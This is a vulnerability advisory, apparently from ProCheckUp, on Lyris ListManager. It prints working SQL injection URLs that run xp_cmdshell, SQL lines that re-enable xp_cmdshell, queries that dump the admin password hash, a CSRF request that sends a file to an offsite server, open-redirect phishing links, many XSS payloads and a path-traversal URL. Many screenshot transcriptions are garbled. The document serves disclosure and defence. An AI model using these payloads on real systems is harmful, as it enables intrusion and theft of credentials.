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1 Quick Intro
1.2 Product description

Lyris ListManager is a ready-to-run email marketing software system built on the tcl-web
server. Lyris ListManager is described as “The World’s Most Popular Email Marketing
Software” [1].

Lyris ListManager is described as a "Secure, in-house solution with unparalleled email
delivery" [2]. There have been a number of vulnerabilities published before. [3]

ProCheckUp concentrated on the current versions of ListManager on the 7 Feb 2009, which
is detailed with the Lyris ListManager support policy [4]. The ListManager versions
Procheckup tested are version 9.2d MSSQL, 9.3g MSSQL and 10.2 MSSQL.

1.3 About this paper

All the issues highlighted in this paper were identified on default installations of Lyris
Listmanager (No customisation, with default settings used).

The test platform was a fully patched Windows 2000 server, running Microsoft SQL server
2000. Windows version used was 5.00.2195 Service Pack 4.

1.4 Summary of issues identified

SQL Injection

CSRF (Cross-site Request Forgery)

Multiple Cross Domain redirects

Multiple XSS (Cross Site Scripting)

Server path and SQL server information disclosure
User name disclosure
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2 Issues found
2.1 SQL Injection

Client input is being used to generate queries passed to the backend database server, as this
input is not sufficiently sanitized before being passed to the backend database server. As a
result, a malicious user may be able to craft queries that will be run on the backend database
server without any authentication, leading to sensitive information such as administrator
passwords being retrieved.

SQL injection can have very serious consequences, such as the bypassing of authentication,
querying/modifying/adding/deleting data from the backend database and the remote
execution of programs

Listmanager defends against SQL injection, by converting single quotes into double single
quotes ensuring that all attack strings are treated as variables. While this protective
mechanism works well in its programs which have to deal with string variables, it fails to
prevent attacks on integer variables which are unquoted. The following examples require
authentication, though if time permitted we could find further examples possibly without
authentication

http://10.0.2.221/utilities/administration/server/internationalization/charsets/delete do.tml?curr
ent list=list1&id=1;+exec+master..xp _cmdshell+'dir>c:\PROGRA~1\ListManager\tclweb\htdoc
s\procheckup.txt'+--

@ ListManager GUI error - Intemnet Explorer provided by Dell & E [=[E fea]
&3 - [&] hte://100.2.221 utilties/administration/ serverf internationalization/ charsets/delete._do tmiZcurrent list=lstl&lid=1;+ excermas = | 43 | % | [ Google p -
Google| S~ Search 1@.) - @ dp- | B+ €% Bookmarks~ | [ Find = "% Check - ] AutoFill &« () Signln -

. . »

W |5gListManagerGu1enor | ‘ i v B - & v hPage v & Tools v

ListManager GUI error : Sun Feb 08 17:20:20 GMT Standard Time 2009

An error occurred while processing the requested page.

Please describe the sequence of actions that brought you to this page:

Submit an automatic bug report to Lyris Technologies.

TelProc_sal failed because threw = SalCl il

Done [# € Internet | Protected Mode: On #100% -

The procheckup.txt file containing the results of the command executed can be simply read
back from the server.
http://10.0.2.221/procheckup.txt

/€ http://10.0.2.221/procheckup.txt - Internet Explorer provided by Dell 2| B |
O == EEEEEEETE -] 4| x || cost 2 -]
Google| § ~ [r]serch{ D~ @ - | B~ 2] > Q- Osignin~
w o \m hitp://1002221/procheckuptt | | fa ¥ v v [} Page v £} Tools v

>

Volume in drive C has no label.
Volume Serial Number is 30B4-SEBC

Directory of C:\WINNT\system32

08/02/2009 16:28 <DIR>

08/02/2009 16:28 <DIR> e
05/02/2009 12:40 1,660 Swinnt$.inf
26/06/2000 08:15 2,151 12520437.cpx
26/06/2000 08:15 2,233 12520850.cpx
07/12/1999 12:00 32,016 aaaamon.dll
07/12/1999 12:00 67,344 access.cpl
19/06/2003 12:05 15,597 accserv.mib
29/08/2002 07:06 64,512 acctres.dll
19/06/2003 12:05 150,800 accwiz.exe
n7/12/19949 12-00 £1 Q52 areindec~ aw
Done [® € Internet | Protected Mode: On #100% v
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http://10.0.2.221/utilities/administration/server/internationalization/charsets/delete_do.tml?current_list=list1&id=1;+exec+master..xp_cmdshell+'dir%3ec:/PROGRA~1/ListManager/tclweb/htdocs/procheckup.txt'+--
http://10.0.2.221/utilities/administration/server/internationalization/charsets/delete_do.tml?current_list=list1&id=1;+exec+master..xp_cmdshell+'dir%3ec:/PROGRA~1/ListManager/tclweb/htdocs/procheckup.txt'+--
http://10.0.2.221/utilities/administration/server/internationalization/charsets/delete_do.tml?current_list=list1&id=1;+exec+master..xp_cmdshell+'dir%3ec:/PROGRA~1/ListManager/tclweb/htdocs/procheckup.txt'+--
http://10.0.2.221/procheckup.txt
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This attack is obviously tailored to Windows and SQL 2000, as SQL 2005 disables by default
xp_cmdshell. If disabled and you have administrative rights SQL command shell can be re-
enabled on SQL 2005 by injecting the following commands. See [5]

sp_configure 'show advanced options',1
reconfigure

sp_configure 'xp_cmdshell',1
reconfigure

Lyris also provides some utilities to run SQL commands, these can be used to extract user
authentication information including passwords.
http://10.0.2.221/utilities/db/showsqgl?button=Run&max=10&skip=0&sql=select+%2A+from+p
eople

& Show tabular SQL results for a query - Mozilla Firefox (= E

File Edit View Higtory Bookmarks Tools Help

BN 4 (= |httpy/1002221 ct+*+from-+ people_&

£ Most Visited P Getting Started & Latest Headlines

Results of SQL query: select * from people_ =] H

Comment_  EmailAddr_ EnableWYSWYG_  FaxNum_  Name_  Password_ PeopleD_ ~ PermissionGrouplD_  PostAddr_  ServerAdm_  SteAdmin_  Site_  TelNum_  WhatSites_
richard@procheckup.com T admin  Sf4dcc3bSaa765d61d8327debB82cT9 1 T F all view

http://10.0.2.221/utilities/db/showsglrow.tm|?row=0&sql=select+*+from+people &current list=
listl

(8 Show all data for 2 SQL table row - Mozilla Firefox E=RE
File Edit View History Bookmarks Tools Help
@ e 7y (&= | nttp://10.0.2.221 futilities/db/showsqlrow tmi?row=08isql=select+ "+ from+ people_&current_list=listl 77 - | |[Gl+| Google ]

2 Most Visited » Getting Started 5. Latest Headlines

Row 1 of select * from people_

Name Value
Comment_
Emailaddr_ richard@prochackup.com
EnableWYSIWYG_ T b
Faxhum_
Name_ admin
Password_ Sfadcc3bSaa765d61d8327debB82cfa9
PeoplelD_ 1
. ParmissionGrouplD_
Postaddr_
| serveradm_ T
I SiteAdmin_ F
Site_ all
Tellum_
WhatSitas_

o beck to pick 8 teble

Done

ListManager does not properly encrypt or apply a strong one way hash to the password,
instead uses MD5 hash encoding which in this case when decoded by a MD5 decoder using
rainbow tables is “password”.
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http://10.0.2.221/utilities/db/showsqlrow.tml?row=0&sql=select+*+from+people_&current_list=list1
http://10.0.2.221/utilities/db/showsqlrow.tml?row=0&sql=select+*+from+people_&current_list=list1
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2.2 CSRF (Cross-site Request Forgery)

As Listmanager does not tokenize some HTTP requests and does not prevent offsite URL’s
from being entered, making the application is vulnerable to CSRF. For instance, if a
ListManager user can be tricked into visiting a third-party page while being logged-in, the user
could be tricked into sending the contents of a file to an offsite server. The following example
requests a file to be uploaded and then sends the file to another server. After forging such a
request, the attacker would find the file was sent to his web server
(http://www.procheckup.com).

http://10.0.2.221/read/attach file.tml?page=http://www.procheckup.com/

r i
43 Live HTTP headers S | B o)
HEBdE'Sii Generator | Config About‘
HTTP Headers
http://www.procheckup.com/.tml =

m.

POST /tmI HTTP/11
Host: www.procheckup.com | M
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.3) Gecko/2008092417 Firef...
Accept: text/html,application/xhtml+xml,application/xml;q=09,%/%;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1, utf-8;q=0.7,%,q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http:// -/read/attach_filetml|?page=http://www.procheckup.com/
Cookie: _utma=105825218.40468023.1225144054.1233606148.1234065324.14; __utmz=105825218....
Content-Type: multipart/form-data; boundary=------------=--=--neueu-- 41184676334
Content-Length: 645

----------------------------- 41184676334

Content-Disposition: form-data; name="page"

http://www.procheckup.com/

----------------------------- 41184676334

Content-Disposition: form-data; name="file"; filename="usernames.txt"
Content-Type: text/plain

\ admin password

| test test

----------------------------- 41184676334
Content-Disposition: form-data; name="current_tab"

Attach File

----------------------------- 41184676334
Content-Disposition: form-data; name="file_attached.x"

----------------------------- 41184676334
Content-Disposition: form-data; name="file_attached.y"

............................. 41184676334--

HTTP/1.x 301 Moved Permanently

< m »

Solution

As a workaround, do not visit third-party sites while being logged in to your ListManager site.
If visiting a third-party site is required while being logged in, a different web browser (i.e.:
Opera instead of Firefox) can be used in order to protect against the aforementioned CSRF
issue.

5
www.procheckup.com


http://10.0.2.221/read/attach_file.tml?page=http://www.procheckup.com/
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2.3 Cross-domain redirection

A remote URI redirection vulnerability affects multiple programs within Lyris ListManager. This
issue is due to a failure of ListManager to properly sanitize URI-supplied data assigned to the
'page’ parameter and some other parameters and to keep redirections within the site.

An attacker may leverage this issue to carry out convincing phishing attacks against
unsuspecting users by causing an arbitrary page to be loaded once a Lyris LitstManager
specially-crafted URL is visited.

http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&gender =M

&day=DD&month=MM&year of birth =YY&country code =GB&demographics=
x&list=masterlist&confirm=one&showconfirm=F&regsource=sidenav&weekly news
letter=on&url=http://procheckup.com&

[@ Message - Intemet Explorer provided by Dell NG ! - BN
QO - [~ mEmmmrn pleaser0click200k 20 R R o -
Google| 8~ E[Search{»©~ 7)) d}v‘ - % Bcokmarks" » &+ (signin~
v ke ‘mMessage ’7‘ [ v g v ) Page v (% Tools v

LYRIS/ ListManager .2;

I
'[Done [# € Intemet | Protected Mode: On #100% v

This program prints a supplied message, and redirects offsite. An example is given of a
password capture attack, where an offsite page would capture authentication details.
http://10.0.2.221/scripts/message/message.tml?url=http://www.procheckup.com&wait=&subm
essage=Your%20password%20has%20expired%20please%20click%200K%20to%20revalid
ate%?20it

These programs redirect across domains after the “OK” or “Go Back” button pressed
HTTP://10.0.2.221:80/scripts/message/message_dialog.tml?msgdlg_targeturl=http://
www.procheckup.com

http://10.0.2.221:80/read/attachment too large.tml?page=http://www.procheckup.co
m/

http://10.0.2.221:80/read/confirm file attach.tml?page=http://www.procheckup.com/

http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&list=""><scrip
t>alert(1)</script>&url=http://www.procheckup.com&

Solution

Lyris has issued a patch xx for Listmanager 9.2d
Lyris has issued a patch xx for Listmanager 9.3g
Lyris has issued a patch xx for Listmanager 10.2
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http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&gender_=M&day=DD&month=MM&year_of_birth_=YY&country_code_=GB&demographics=x&list=masterlist&confirm=one&showconfirm=F&regsource=sidenav&weekly_newsletter=on&url=http://procheckup.com&
http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&gender_=M&day=DD&month=MM&year_of_birth_=YY&country_code_=GB&demographics=x&list=masterlist&confirm=one&showconfirm=F&regsource=sidenav&weekly_newsletter=on&url=http://procheckup.com&
http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&gender_=M&day=DD&month=MM&year_of_birth_=YY&country_code_=GB&demographics=x&list=masterlist&confirm=one&showconfirm=F&regsource=sidenav&weekly_newsletter=on&url=http://procheckup.com&
http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&gender_=M&day=DD&month=MM&year_of_birth_=YY&country_code_=GB&demographics=x&list=masterlist&confirm=one&showconfirm=F&regsource=sidenav&weekly_newsletter=on&url=http://procheckup.com&
http://10.0.2.221/scripts/message/message.tml?url=http://www.procheckup.com&wait=&submessage=Your%20password%20has%20expired%20please%20click%20OK%20to%20revalidate%20it
http://10.0.2.221/scripts/message/message.tml?url=http://www.procheckup.com&wait=&submessage=Your%20password%20has%20expired%20please%20click%20OK%20to%20revalidate%20it
http://10.0.2.221/scripts/message/message.tml?url=http://www.procheckup.com&wait=&submessage=Your%20password%20has%20expired%20please%20click%20OK%20to%20revalidate%20it
http://10.0.2.221/scripts/message/message_dialog.tml?msgdlg_targeturl=http://www.procheckup.com
http://10.0.2.221/scripts/message/message_dialog.tml?msgdlg_targeturl=http://www.procheckup.com
http://10.0.2.221/read/attachment_too_large.tml?page=http://www.procheckup.com/
http://10.0.2.221/read/attachment_too_large.tml?page=http://www.procheckup.com/
http://10.0.2.221/read/confirm_file_attach.tml?page=http://www.procheckup.com/
http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&list=%22%3e%3cscript%3ealert(1)%3c/script%3e&url=http://www.procheckup.com&
http://10.0.2.221/subscribe/subscribe.tml?email=test@procheckup.com&list=%22%3e%3cscript%3ealert(1)%3c/script%3e&url=http://www.procheckup.com&
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2.4  Cross-Site Scripting

The cross site scripting (XSS) vulnerability affects multiple programs within Lyris ListManager.
This issue is due to a failure of ListManager to properly sanitize URI-supplied data assigned
to parameters.

An attacker may leverage this issue to cause execution of malicious scripting code in the
browser of a victim user who visits a malicious third-party page. Such code would run within
the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection
of confidential information (i.e.: session IDs, address books, emails) to unauthorised third
parties.

The following attacks work universally not requiring authentication

Attack Comments Works on
HTTP://10.0.2.221:80/scripts/message/message_dialog.tml?ho | Works on IE7 and FF3
w_many back="><script>alert(1)</script> 9.2d only
HTTP://10.0.2.221:80/scripts/message/message_dialog.tmI?m | Works on IE7 and FF3
sgdlg_targeturl="><script>alert(1)</script> 9.2d only
http://10.0.2.221:80/read/attach_file.tml?page="><script>alert( IE7 and FF3
1)</script>
http://10.0.2.221:80/read/attachment too large.tml?page="><s IE7 and FF3
cript>alert(1)</script>
http://10.0.2.221:80/read/confirm_file attach.tml?page="><scri IE7 and FF3
pt>alert(1)</script>
http://10.0.2.221:80/read/login/index.tml?emailaddr="><script> IE7 and FF3
alert(1)</script>
http://10.0.2.221:80/read/login/sent_password.tml?emailaddr=" IE7 and FF3
><script>alert(1)</script>
Works on 2
http://10.0.2.221:80/read/search.tml?base_url="><script>alert( | parameters IE7 and FF3
1)</script>&nsn=1&q="><script>alert(2)</script>
Works on 3 IE7 and FF3

http://10.0.2.221:80/scripts/message/message.tml?wait="><scr | parameters.
ipt>alert(1)</script>&url="><script>alert(2)</script>&submessa | 9.2d only
ge="><script>alert(3)</script>

IE7 and FF3
http://10.0.2.221:80/read/?forum=whatever&how_many_back=
"><script>alert(1)</script>

IE7 and FF3
http://10.0.2.221:80/subscribe/subscribe?list=<script>alert(1)</
script>&email=test@procheckup.com
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http://10.0.2.221/read/attachment_too_large.tml?page=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/read/attachment_too_large.tml?page=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/read/confirm_file_attach.tml?page=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/read/confirm_file_attach.tml?page=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/read/login/sent_password.tml?emailaddr=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/read/login/sent_password.tml?emailaddr=%22%3e%3cscript%3ealert(1)%3c/script
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The following XSS attack’s work only for authenticated users (admin user used)

Attack Comments Works on
http://10.0.2.221:80/search/?g="><script>alert(1)</script>&sea IE7 and FF3
rchtext=1&

http://10.0.2.221:80/utilities/db/showsal?max="><script>alert(1) IE7 and FF3
</script>

http://10.0.2.221:80/utilities/db/showsgl?max=20&skip="><scri IE7 and FF3
pt>alert(1)</script>&sql=select+%2A+from+referrals &
http://10.0.2.221:80/utilities/db/showsqgl?max=20&skip=0&sgl=" IE7 and FF3
><script>alert(1)</script>

http://10.0.2.221:80/utilities/administration/server/db/addcolum IE7 and FF3
n?current_list=listl&page="><script>alert(1)</script>
http://10.0.2.221/members/show/delete_do.tml|?id="><script>al IE7 and FF3
ert(1)</script>&max=20&skip=0&current list=listl

Persistent Cross Site Scripting

This type of attack can result in a persistent defacement of the target site, or the redirection of
confidential information (i.e.: session IDs, address books, emails) to unauthorised third

parties.

Since this XSS is of persistent nature, the user wouldn't have to be tricked to visit a specially-

crafted URL, but just read an e-mail.

For instance malicious characters are allowed be entered for the member name.

y . = e T ——
@ Add Member - Mozilla Firefox E@M
File Edit View History Bookmarks Tools Help
‘ C X N ( = 1 http://10.0.2.221/members/create/new.tml?sb=1&curret 1.7 ~ 1-1 Google A

£ Most Visited P Getting Started . Latest Headlines

| &= Add Member X l &= http://10.0.2.221/read/archivelid=1 <

test Lan

‘ Members : Add Members : Add Member

Email

i test@procheckup.com

Name:  "><script>alert{1)</script>

: Welcome admin | Logout
ListManager . : L

| Basics || List Admin Settings Advanced Settings Information Demographics

English

é- Save E' Cancel |

Lyris Technologies, Inc. | Email Marketing Software “Take Control of Your Email Marketing

When the member is deleted from the member list, a pop up alert box éppears.
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http://10.0.2.221/search/?q=
http://10.0.2.221/utilities/db/showsql?max=
http://10.0.2.221/utilities/db/showsql?max=20&skip=
http://10.0.2.221/utilities/db/showsql?max=20&skip=0&sql=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/utilities/db/showsql?max=20&skip=0&sql=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/utilities/administration/server/db/addcolumn?current_list=list1&page=%22%3e%3cscript%3ealert(1)%3c/script
http://10.0.2.221/utilities/administration/server/db/addcolumn?current_list=list1&page=%22%3e%3cscript%3ealert(1)%3c/script

Pro(®a=leiU9) | yris ListManager Security Research

(@ Delete Member - Mozilla Firefox T T — '

File Edit View History Bookmarks Tools Help
v C 0y (=] htp/10.0.2221/members/show/ delete tmitid=4Bimax=208iskip=0&current list 77 -

" Google

£ Most Visited P Getting Started i, Latest Headlines

X | &= http://10.0.2.221/read/archive?id=1 ‘ -
I /LYRIS ListManager ‘31 Welcome admrln Logout

1 test Language: English

J &= Delete Member
!

@) Expand (=) Collapse | pelete Member.

& Members : View Members : Delete Member LY

The page at http://10.0.2.221 % —E

- Add Members Name: ">

: & !
- View Members Email Address: test@proc| LB

- Ban Addresses

- Delete Members.

There is some character filtering enforced on names, though there is a lack of filtering on
descriptions for instance when creating a new list (list2 in this case) with malicious characters
in its description as below :-

|[ e Ede View History Bookmerks Took Help
W C X D (= hupy/1002221 uinies/sdministrationlsts/newtmilcurrent list=listt 77+ | |[Gl+| Geogle el
2 Most Visited 9 Getting Started |, Latest Headiines.

bk A, Usites : Adrrsstaton : Lt : New st @
2 venbers
| & connent
Purpose ortst [ emal marketing -
A Sogrents

Uistoame:  ksQ

Admin name:  admin

Admin emad
drens:  fichard brain@procheckup.com
Admin
password:

Verity Admin
Password:

Recency imit: .

Selecting Utilities-> Administration -> Lists or
http://10.0.2.221/utilities/administration/lists/index.tml?sitename=&current_list=list2 or
http://10.0.2.221/utilities/administration/lists/delete.tml?id=2&current_list=list2, causes another
pop up alert.

'@ Lists - Mozilla Firefox P )
File Edt View History Bookmarks Tools Help
|~ C A (=] ntpy/100.2.221/ utilities/administration/lists/indextrr 77 | [[G]+| Google A

1) Most Visited P Getting Started . Latest Headlines

Weicome admin | Logout

istManager T st t2 Language: Engh

A\ Utiities : Administration : Lists ¢ He

List Name  Description Site e

list list1 main Copy | Delete

list2 o main Copy

The page at http://10.0.2.221 says:
A
- List Settings

- Web Forms

- Automated
Messages
- Administration

- Login Status

- Other

Due to time limitations, no more persistent XSS attacks have been investigated.
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http://10.0.2.221/utilities/administration/lists/index.tml?sitename=&current_list=list2
http://10.0.2.221/utilities/administration/lists/delete.tml?id=2&current_list=list2

g{«lCheckUp Lyris ListManager Security Research

2.5 Server path and SQL server information disclosure

The Lyris Listmanager GUI error page discloses the webroot of its installation, and the type of
the SQL server used when the source code of the web page is viewed. This information can
be used to carry out further attacks, such as the earlier windows SQL server cmdshell attack.

T . ween Senp . RSN Sleis
File Edit Format View Help
<!Doctype HTML PUBLIC “-//IETF//DTD HTML 2.0//EN">

<HTML>
<HEAD>

&quot;rss_feed /read/rss iocp4732 {}aquot;
(&quot eval&quot; body line 1)
nvoked from within
&quot eval SUr'I(co'm\and spreﬁx) [list $sock ssufﬁx’&quot
<INPUT TYPE NAME=" currentmr VALUE="C: /Program F11e5/L1stManager/tc\meb/bm
N" NAME="version" VALUE="Lyris ListManager WIN32 database MSSQL version 9.2d build 924000 - Aug 28 2008">
" NAM| email” VALUE="auto_bug_reports@lyris.com"
<INPUT TYPE="SUBMIT" VALUE="Submit an automatic bug report to Lyris Techr\o]og1es."><BR>

The hidden variable “currentdir” discloses the webroot:-

For a Windows system this might be, “C:/Program Files/ListManager/tclweb/bin/’
For a Linux system this might be, “/usr/local/Im/tclweb/bin”

The hidden variable “version” discloses information on both the ListManager and SQL server:-

For a Windows system this might be, “Lyris ListManager WIN32 database MSSQL version
9.2d build 924000 - Aug 28 2008~
For a Linux system this might be, “Lyris ListManager LINUX database PostgreSQL version
9.2d build 924000 - Aug 28 2008”

These following URL'’s are useful to generate these verbose ListManager GUI error pages:-
http://10.0.2.221/subscribe/survey~1.tml (as DOS filenames confuse Windows hosted
systems)

http://10.0.2.221/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/winnt/win.ini
http://10.0.2.221:80/read/rss?forum=nonexistant&rev=0.92

%@ ListManager GUI error - Internet Explorer provided by Dell I == =)
@U - [ ] nttp/1002.221 /readrrsstorum=nonexistanté + | 4 | x || Geogte 2 -
Google| § - [ 5&5r(h+&j » €4 - (U Signdn +
—_ - . o
W% 4 | @ ListManager GUI error %~ B - @ - [k Page ~ {J Tooks ~
g

ListManager GUI error : Sun Feh 08 17:51:30 GMT Standard Time 2009 B

An error occurred while processing the requested page.
Please describe the sequence of actions that brought you to this page:

m

Submitan automatic bug reportto Lyris Technologies.

TolProg_sqlexecute failed beceuse SqlExecute threw s SqlClassException:

SQL emor reported from db Connection: (0x1515420] Lyris function: SQLClass: Send ToS0L()
Lyris emor description: dbsglexed) failed

Database errcr information:

msgno: 156

msgstate: 1

|| severity: 15- Genarsted by user and can be comected by the user

msgtext: Inconect syntax neer the keyword "AND

sname: TEST L
line: 1

A 0L eror occurred.

When: 02/08/09 17:51:20

Sevarity: § - The Server has retumed an amor flag

dbemstr General SQL Server emor: Check messeges from the SQL Server

SQL Stetement: SELECT translstelang_Name_ as LengName_, translstelang_ Psth_, mimecharsets_Name_ ss CharSet_, translatelar

while exacuting
eror Senmessage
{procedure "tclport” line 35)
invaked from within
“tclport sqlexscute Sststement 1 Scffset
{procedure "lyrsql:select_row” line 14)
invaked from within il
Iurenl zelard row "SEI ECT Nsme ss | anaName Patn Nama = CharSet fransiste.
4| . ]

[# € Internet | Protected Mode: On #100% ~
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http://10.0.2.221/subscribe/survey~1.tml
http://10.0.2.221/winnt/win.ini
http://10.0.2.221/read/rss?forum=nonexistant&rev=0.92
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2.6 User name enumeration

The Lyris Listmanager GUI error page discloses valid usernames, which be used to carry out
further dictionary based password attacks.

For an address or name which does not exist, the system indicates that no records exist.
http://10.0.2.221:80/doemailpassword.tmI?EmailAddr=anything@procheckup.com&submit=E
nter&message=something&orig=http://www.procheckup.com

f (€ Message - Internet Explorer provided by Dell i ‘ ‘@I@‘g
@ Q v ’@ http:_//'l_0.0.2.221/doem_aiIpa;;\_ﬂord.tml?EmailAddr:any od I 4 | X | ‘ Google 28 R vl
Gougle 1,§ - |Z| Search 1’ S~ @ e~ ‘ B - €% Bookmarks~ | > €4+ | Signln +

Wk ‘m Message [_l [ v = v b Page v (i Tools v =

ListManager .24

No records were found for the login you specified.

|Done [ € Internet | Protected Mode: On #,100% ~

User names which do exist, are validated by the ListManager sending an e-mail.
http://10.0.2.221:80/doemailpassword.tml?EmailAddr=admin&submit=Enter&message=somet
hing&orig=http://www.procheckup.com

r —
@ Message - Internet Explorer provided by Dell ll | -u rp— E=nr=N
by =

Google » '|

@ Q A IET Addr=admin&submit=Enter&message=something8torig=http://www.procheckup.com VI “’| A
-— =

Google |8~ -] Sealch+ S+ D e | B+ % Bookmarks+ | [G Find » %% Check = ] AutoFill = €, + () SignIn =

- B~ B - @ ~[FPage~ GTools v

1} hr [mMasage

ListManager .2,

Message

User will be receiving an email shortly.

N |
Done E e Internet | Protected Mode: On H100% ~
TRBE s T WYY 2) rr—— =
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http://10.0.2.221/doemailpassword.tml?EmailAddr=anything@procheckup.com&submit=Enter&message=something&orig=http://www.procheckup.com
http://10.0.2.221/doemailpassword.tml?EmailAddr=anything@procheckup.com&submit=Enter&message=something&orig=http://www.procheckup.com
http://10.0.2.221/doemailpassword.tml?EmailAddr=admin&submit=Enter&message=something&orig=http://www.procheckup.com
http://10.0.2.221/doemailpassword.tml?EmailAddr=admin&submit=Enter&message=something&orig=http://www.procheckup.com
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5 About ProCheckUp Ltd

e ProCheckUp Ltd, is a UK leading IT security services provider specialized in
penetration testing based in London. Since its creation in the year 2000,
ProCheckUp has been committed to security research by discovering numerous

vulnerabilities and authoring several technical papers.

e ProCheckUp has published the biggest number of vulnerability advisories within
the UK in the past two years.

¢ More information about ProCheckUp’s services and published research can be
found on:

http://www.procheckup.com/Penetration-Testing.php
http://www.procheckup.com/Vulnerabilities.php

6 Disclaimer:

e Permission is granted for copying and circulating this document to the Internet
community for the purpose of alerting them to problems, if and only if, the
document is not edited or changed in any way, is attributed to ProCheckUp Ltd,
and provided such reproduction and/or distribution is performed for non-
commercial purposes. Any other use of this information is prohibited.

ProCheckUp is not liable for any misuse of this information by any third party.

7 Contact Information

ProCheckUp Limited
Syntax House

44 Russell Square
London, WC1B 4JP

Tel: + 44 (0) 20 7307 5001
Fax: +44 (0) 20 7307 5044
www.procheckup.com

ProCheckUp USA Limited
1901 60th PL

Suite L6204

Bradenton FL 34203
United States

Tel: + 1 941 866 8626
www.procheckup.com
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